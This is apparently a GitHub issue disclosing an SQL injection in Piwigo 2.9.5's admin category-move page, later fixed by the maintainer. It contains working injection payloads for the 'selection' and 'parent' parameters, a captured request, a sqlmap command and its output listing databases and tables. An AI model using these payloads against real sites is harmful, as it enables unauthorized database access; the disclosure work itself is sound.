

New issue

[Jump to bottom](#)

## SQL injection in cat\_move.php #1010

Closed

zongdeiqianxing opened this issue on May 6, 2019 · 2 comments

Assignees



Labels

Section: Security

Milestone

2.10.0RC1

zongdeiqianxing commented on May 6, 2019

Hi, I found a sql injection vulnerability in cat\_move.php:

The 'move\_categories' method is called when moving the album in '/admin.php?page=cat\_move', but the method does not validate and filter the 'selection' and 'parent' parameters, thus causing the vulnerability.

replace any of the following parameter in POST requests to reappear the vulnerability:

```
selection%5B%5D=1' and if(ascii(substr(database(),1,1))>300,1,sleep(5));%23
```

or

```
parent=1 and if(ascii(substr(database(),1,1))>300,1,sleep(5));%23
```

I use 'sqlmap' to reappear the vulnerability:

```
loser@DESKTOP-DHG1UNM:~$ more 1
```

```
POST /admin.php?page=cat_move HTTP/1.1
Host: 10.150.10.186:30008
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.150.10.186:30008/admin.php?page=cat_move
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
Cookie: pwg_id=bv8q0gb8mbcqb99bhcqd1f1q20
Connection: close
Upgrade-Insecure-Requests: 1

selection%5B%5D=4&parent=7&submit=%E6%8F%90%E4%BA%A4
loser@DESKTOP-DHG1UNM:~$
```

```
loser@DESKTOP-DHG1UNM:~$ sqlmap -r 1 -p parent --current-user --current-db --tables;
```



1.2.4#stable  
<http://sqlmap.org>

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[\*] starting at 17:53:55

```
[17:53:55] [INFO] parsing HTTP request from '1'
[17:53:56] [INFO] resuming back-end DBMS 'mysql'
[17:53:56] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: parent (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: selection[]=4&parent=7 AND (SELECT 7045 FROM (SELECT COUNT(*),CONCAT(0x71766b7a71,(SELECT (ELT(7045=7045,1))) ,0x71766a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&submit=%E6%8F%90%E4%BA%A4

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: selection[]=4&parent=7 AND SLEEP(5)&submit=%E6%8F%90%E4%BA%A4
---
```

```
[17:53:56] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0
[17:53:56] [INFO] fetching current user
[17:53:56] [INFO] resumed: root@%
current user: 'root@%'
[17:53:56] [INFO] fetching current database
[17:53:56] [INFO] resumed: piwigo
current database: 'piwigo'
[17:53:56] [INFO] fetching database names
[17:53:56] [INFO] used SQL query returns 5 entries
[17:53:56] [INFO] resumed: information_schema
[17:53:56] [INFO] resumed: mysql
[17:53:56] [INFO] resumed: performance_schema
[17:53:56] [INFO] resumed: piwigo
[17:53:56] [INFO] resumed: sys
[17:53:56] [INFO] fetching tables for databases: 'information_schema, mysql, performance_schema, piwigo, sys'
[17:53:56] [INFO] used SQL query returns 312 entries
Database: sys
[101 tables]
```

```
session
version
host_summary
host_summary_by_file_io
host_summary_by_file_io_type
host_summary_by_stages
host_summary_by_statement_latency
host_summary_by_statement_type
innodb_buffer_stats_by_schema
innodb_buffer_stats_by_table
innodb_lock_waits
io_by_thread_by_latency
io_global_by_file_by_bytes
io_global_by_file_by_latency
io_global_by_wait_by_bytes
io_global_by_wait_by_latency
latest_file_io
memory_by_host_by_current_bytes
memory_by_thread_by_current_bytes
```

zongdeiqianxing commented on May 8, 2019

Author


```
POST /admin.php?page=cat_move HTTP/1.1
Host: 10.150.10.186:30008
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.150.10.186:30008/admin.php?page=cat_move
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
Cookie: pwg_id=bv8q0gb8mbcb99bhcqdf1q20
Connection: close
Upgrade-Insecure-Requests: 1

selection%5B%5D=4&parent=7&submit=%E6%8F%90%E4%BA%A4
```

🔗  plegall added this to the **2.9.6** milestone on May 31, 2019

🔗  plegall self-assigned this on Aug 12, 2019

🔗  plegall added the **Section: Security** label on Aug 12, 2019

🔗  plegall modified the milestones: **2.9.6**, **2.10.0RC1** on Aug 12, 2019

✎  plegall changed the title ~~Piwigo v2.9.5 - SQL injection in cat\_move.php~~ SQL injection in cat\_move.php on Aug 12, 2019

plegall commented on Aug 12, 2019

Member

vulnerability found in Piwigo v2.9.5

 plegall closed this as completed in [9134906](#) on Aug 12, 2019

#### Assignees

 plegall

#### Labels

Section: Security

#### Projects

None yet

#### Milestone

2.10.0RC1

#### Development

No branches or pull requests

#### 2 participants

